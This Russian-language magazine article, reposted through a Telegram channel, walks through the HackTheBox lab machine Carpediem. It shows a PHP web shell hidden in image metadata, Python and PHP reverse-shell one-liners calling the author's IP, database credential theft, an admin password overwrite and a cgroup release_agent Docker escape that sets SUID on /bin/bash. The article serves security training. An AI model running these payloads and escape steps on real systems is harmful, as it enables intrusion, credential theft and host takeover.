Хакер - HTB Carpediem. Сбегаем из Docker-контейнеров
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Сканирование веб-контента
- Точка входа
- Точка опоры
- Продвижение
- Разведка
- MySQL & MongoDB
- Trudesk
- VOIP
- Эксплуатация
- Перехват трафика
- CMS Backdrop — RCE
- Повышение привилегий
- LPE Docker inside
- Docker escape
В этой статье мы с тобой обойдем авторизацию на сайте и получим простенький RCE для проникновения в контейнер Docker. Затем проведем разведку в сети, поработаем с MySQL и MongoDB, чтобы похитить информацию из Trudesk, перехватим трафик HTTPS и расшифруем данные. Снова попав в контейнер Docker, успешно сбежим из него с максимальными привилегиями на хосте.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.167 carpediem.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное, с использованием имеющихся скриптов (опция -A).

Мы обнаружили два открытых порта: 22 — служба OpenSSH 8.2p1 и 80 — веб‑сервер Nginx 1.18.0. Начнем с веб‑сервера.

На сайте ничего интересного найти не удалось, поэтому попробуем поискать скрытый контент.
Сканирование веб-контента
Искать потайные страницы мы будем при помощи сканера ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL.
ffuf -u 'http://carpediem.htb/FUZZ' -w directory_2.3_medium_lowercase.txt -t 256

Ничего интересного и тут. Идем дальше и сканируем поддомены, для чего нам нужно перебирать запись в HTTP-заголовке HOST. При этом используем фильтр --fs, который поможет отсеять ложные страницы по их размеру.
ffuf -u 'http://carpediem.htb/FUZZ' -w subdomains-top1million-110000.txt -H 'Host: FUZZ.carpediem.htb' -t 256 --fs 2875

Находим новый поддомен, поэтому дополняем запись в файле /etc/hosts и идем смотреть новый сайт.
10.10.11.167 carpediem.htb portal.carpediem.htb

ТОЧКА ВХОДА
Первым делом обратим внимание на то, как подключается страница. Это происходит через параметр p.

Также на сайте можно зарегистрироваться и авторизоваться. Сделаем это!

Если всю работу вести в Burp Proxy, то в истории запросов можно заметить обращение к какому‑то файлу /classes/Master.php, которому в параметре f передается команда register.

Но вернемся к загружаемой через параметр странице и проверим, нет ли здесь уязвимости LFI. Для этого переберем разные нагрузки через Burp Intruder.


В итоге есть варианты, которые возвращают ошибку, но раскрутить это до уязвимости не получилось. Тогда просканируем каталоги на новом домене.
ffuf -u 'http://portal.carpediem.htb/FUZZ' -w directory_2.3_medium_lowercase.txt -t 256

Это сканирование снова расширяет область тестирования: мы нашли админку сайта — /admin. Но при обращении к ней сервер вернет ошибку 403.

Что ж, пока ничего пробить не выходит. Переходим к следующей функции — изменению профиля. И снова видим запрос к уже знакомой странице /classes/Master.php, но с другой командой.

Тут я заметил POST-параметр login_type со значением 2. Отправим этот запрос в Burp Repeater и изменим значение интересного параметра на 1.

И теперь нам доступна страница /admin!

Гуляя по новой панели, снова переходим к функции изменения профиля и находим загрузку аватара, а это новая функция для тестирования.

ТОЧКА ОПОРЫ
Первым делом я решил залить простой PHP-шелл для получения RCE.
<?php echo system($_GET['cmd']); ?>

Файл загружен, но ошибка связана с изображением. То есть с форматом файла PHP никаких проблем нет. Тогда возьмем любую картину, изменим расширение на .php и запишем в служебное поле комментария PHP-шелл. Это можно сделать с помощью утилиты exiftool.
exiftool -Comment='<?php echo system($_GET['cmd']); ?>' rs.php
После загрузки страница обновится, и мы увидим битую аватарку. Найти путь к файлу не составит труда, он указан в исходном коде страницы.

Попробуем выполнить команду id.

Мы получили удаленное выполнение кода. Теперь давай сделаем себе удобную оболочку, прокинув реверс‑шелл. В качестве листенера я буду использовать pwncat-sc, установить который можно командой sudo pip3 install pwncat-cs. Отправляем в параметре cmd следующую команду и получаем сообщение о созданной сессии.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(()"10.10.14.30",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Для перехода в режим командной оболочки из оболочки pwncat-cs используем команду back, для обратного перехода в режим pwncat-cs — комбинацию клавиш Ctrl-D.

ПРОДВИЖЕНИЕ
РАЗВЕДКА
По имени хоста понимаем, что находимся в контейнере Docker. Следующим шагом будет поиск учетных данных. И самое первое место для проверки в таких случаях — это файлы сайта. Так, в файле DBConnection.php будут учетные данные для подключения к базе данных.

Этот пароль никуда не подходит, так что продолжим разведку. Источников информации очень много, поэтому воспользуемся скриптами PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
<Ctrl> + D
upload linpeas_linux_amd64 /tmp/linpeas_linux_amd64
back
chmod +x /tmp/linpeas_linux_amd64
/tmp/linpeas_linux_amd64
Отмечаем еще один пароль в переменных окружения, а также несколько новых адресов в файле /etc/hosts.


В сети есть еще хосты, на одном из них, судя по названию, работает MySQL. Загрузим в контейнер статический Nmap и просканируем несколько начальных адресов на наличие открытых портов.
<Ctrl> + D
upload nmap /tmp/nmap
back
chmod +x /tmp/nmap
/tmp/nmap -p- 172.17.0.1-6

Нам доступно много служб для проверки, начнем с баз данных.
MySQL & MongoDB
На хосте 172.17.0.4 открыт типичный для MySQL порт 3306. А на хосте 172.17.0.2 открыт порт 27017, что свойственно MongoDB. Чтобы получить доступ к этим хостам, нужно построить туннель. Для этого будем использовать chisel. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 5432 (параметр -p).
./chisel.bin server --reverse -p 5432

Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также тип туннеля — socks.
/tmp/chisel.bin client 10.10.14.30:5432 R:socks

В логах сервера должны увидеть сообщение о создании сессии.

Теперь, чтобы перенаправлять трафик в созданный туннель, будем использовать proxychains. В файле конфига /etc/proxychains.conf добавим маршрут:
socks5 127.0.0.1 1080
Подключимся к MySQL, а затем посмотрим, какие есть базы данных.
proxychains4 -q mysql -h 172.17.0.4 -u portaldb -p
show databases;

Теперь найдем интересные таблицы в базе portal.
use portal;
show tables;

Наиболее интересна таблица users.
select * from users;

Там находим учетные данные, но пробрутить хеш не вышло. Тогда перейдем к MongoDB.
proxychains4 -q mongo 172.17.0.2
show dbs;

Так находим базу для Trudesk.
Trudesk
Trudesk — это опенсорсный софт, предназначенный для службы поддержки. Тут можно будет получить какую‑то новую информацию. Дополнительно из сертификата SSL на порте 443 хоста 172.17.0.3 получаем доменное имя backdrop.carpedium.htb, но пока продолжим с Trudesk.

Сам Trudesk обнаружим на порте 8118 хоста 172.17.0.5.

Учетных данных мы не знаем, но есть доступ к базе данных сервиса. Выбираем эту базу и получаем записи обо всех аккаунтах.
use trudesk
db.accounts.find()

Находим запись администратора. Давай изменим ему пароль прямо в базе. Для этого сначала его хешируем.
import bcrypt
p = 'ralf'
salt = bcrypt.gensalt(rounds=10)
bcrypt.hashpw(p.encode(),salt)
Теперь меняем его в базе и авторизуемся как admin : ralf.
db.accounts.update( {"_id": ObjectId("623c8b20855cc5001a8ba13c")}, {$set: {"password": "$2b$10$NdqhhsBaSEnoMn9sM/vckeUN.Sw8c3qDqosPtYf5rVOpMmWh2XUye"}});


Теперь нужно просмотреть переписку с поддержкой. Так мы находим очень интересную информацию. Пароль для пользователя с ID 9650 и паролем 2022 к VOIP сообщается, если позвонить по номеру *62. А в качестве VOIP-клиента советуют использовать Zoiper.

VOIP
Скачаем и установим клиент Zoiper. После запуска нам предлагают авторизоваться. Сделаем это, так как у нас есть все необходимые данные.

Теперь открываем клавиатуру для набора номера и вызываем абонента по номеру *62.

Прослушать аудио займет около минуты, но зато мы получаем из него пароль пользователя. Долго перебирать не пришлось, сразу авторизуемся по SSH и забираем первый флаг.

ЭКСПЛУАТАЦИЯ
Теперь, когда мы получили доступ к хосту, нам нужно собрать информацию. Снова используем для этого скрипты PEASS.
Узнаем следующее.
- Судя по информации из
/etc/hosts, на хосте работает сайтbackdrop.carpediem.htb. При этом хост прослушивает много веб‑портов. - Можем получить ключ RSA, используемый для SSL-шифрования на сайте
backdrop.carpediem.htb. - Среди активных Linux Capabilities для программы
tcpdumpнаходимcap_net_admin.




Объединяя все полученные данные, можем прослушивать трафик на хосте, на котором работает сайт backdrop, после чего расшифровать собранный трафик найденным приватным ключом и просмотреть критически важные данные.
Перехват трафика
Оставим минуты две на работу tcpdump, после чего забираем файл .pcap на локальный хост и открываем в Wireshark.
tcpdump -i docker0 -w t.pcap
Переходим в настройки «Редактирование → Параметры → Протокол → TLS → RSA key list» и добавляем скачанный ключ RSA. Затем в фильтре Wireshark указываем протокол HTTP.

Видим запрос на авторизацию, открываем его, чтобы посмотреть данные, и забираем учетные данные пользователя.

С полученными учетными данными нужно авторизоваться в backdrop на локальном порте 8002, для чего прокинем этот порт на свой хост.
ssh -L 8002:127.0.0.1:8002 hflaccus@carpediem.htb
Теперь весь трафик, который мы пошлем на локальный порт 8002, будет туннелирован на порт 8002 указанного хоста (в данном случае 127.0.0.1) через SSH-хост.
Давай обратимся к сайту по адресу http://127.0.0.1:8002/.

CMS Backdrop — RCE
Нам доступна целая CMS, поэтому проверим, нет ли для нее эксплоитов в публичном доступе. Долго искать не пришлось, первая же ссылка в Google дает нам подходящий репозиторий на GitHub. С помощью этого эксплоита мы можем получить удаленное выполнение кода, добавив свой плагин (или использовать уже готовый). Первым делом перейдем к странице загрузки модулей: Functionality → Install new modules.


Теперь выбираем пункт Manual installation и загружаем упомянутый выше архив (готовый плагин).


Теперь мы можем выполнять команды через страницу modules/reference/shell.php.

Для получения командной оболочки открываем листенер и отправляем следующую команду:
php -r '$sock=fsockopen("10.10.14.48",4321);exec("sh <&3 >&3 2>&3");'
Мы должны получить новую сессию.
ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
LPE Docker inside
Разведка с помощью LinPEAS ничего нам не дает. Зато если мы отследим запускаемые процессы с помощью pspy64, то найдем кое‑что интересное.

От имени рута запускается скрипт /opt/hearbeat.sh. Просмотрим его содержимое.

Сначала скрипт сверяет хеш файла backdrop.sh, чтобы убедиться, что он не был изменен. Затем выполняет его с помощью PHP.

Так как включаются файлы из каталога /var/www/html/backdrop, можно создать в этом каталоге файл index.php и он будет выполнен. В сам файл запишем уже использованный ранее PHP-шелл. Спустя некоторое время увидим новую сессию в pwncat-cs.

Docker escape
Контейнер работает в привилегированном режиме, и у нас есть права рута, что позволяет нам выйти из контейнера на основной хост также в привилегированном режиме. В этом нам помогут контрольные группы Linux.
Cgroup, или «контрольная группа», в Linux — это группа процессов, для которой механизмами ядра наложена изоляция и установлены ограничения на некоторые вычислительные ресурсы (процессорные, сетевые, память, ввод‑вывод). Это как раз один из механизмов, с помощью которых Docker изолирует контейнеры.
Этот метод использует функцию notify_on_release в cgroups v1, чтобы запустить определенный код от имени пользователя root. Дело в том, что, когда последняя задача в контрольной группе покидает ее, на хосте выполняется команда, указанная в файле release_agent. Таким образом предполагается сократить число заброшенных контрольных групп. Эта команда при вызове запускается на хосте как пользователь с полными привилегиями.
Первым делом нам нужно запустить новую командную оболочку.
unshare -UrmC bash
Теперь, чтобы выполнить код на основном хосте, нам нужна контрольная группа, в которой мы можем создать файл release_agent и инициировать его вызов, уничтожив все процессы в контрольной группе. Самый простой способ добиться этого — смонтировать контроллер cgroup и создать дочернюю cgroup. Для этого мы создаем каталог /tmp/ralf, монтируем контроллер cgroup RDMA и создаем дочернюю cgroup x.
umount /tmp/ralf
rm -R /tmp/ralf
mkdir /tmp/ralf
mount -t cgroup -o rdma cgroup /tmp/ralf
mkdir /tmp/ralf/x
Затем активируем уведомления контрольной группы, записывая единицу в ее файл notify_on_release. Также настраиваем cgroup RDMA для выполнения сценария /cmd. Путь к самому контейнеру на основном хосте берем из файла /etc/mtab.
echo 1 > /tmp/ralf/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/ralf/release_agent
Команды из файла /cmd будут выполнены в привилегированном режиме на основном хосте, поэтому нужно выбрать один из методов персистентности. К примеру, установка бита SUID для файла командной оболочки /bin/bash.
echo '#!/bin/bash' > /cmd
echo "chmod u+s /bin/bash" >> /cmd
chmod a+x /cmd
Последнее действие — вызов триггера RDMA. Создадим процесс, который немедленно завершится внутри дочерней контрольной группы x. Для этого запускаем процесс bash и записываем его PID в файл cgroup.procs.
bash -c "echo \$\$ > /tmp/ralf/x/cgroup.procs"
Теперь мы можем вернуться на основной хост и проверить права на файл /bin/bash.

S-бит установлен, поэтому запускаем его и легко получаем оболочку в привилегированном режиме.

Забираем флаг рута, и машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei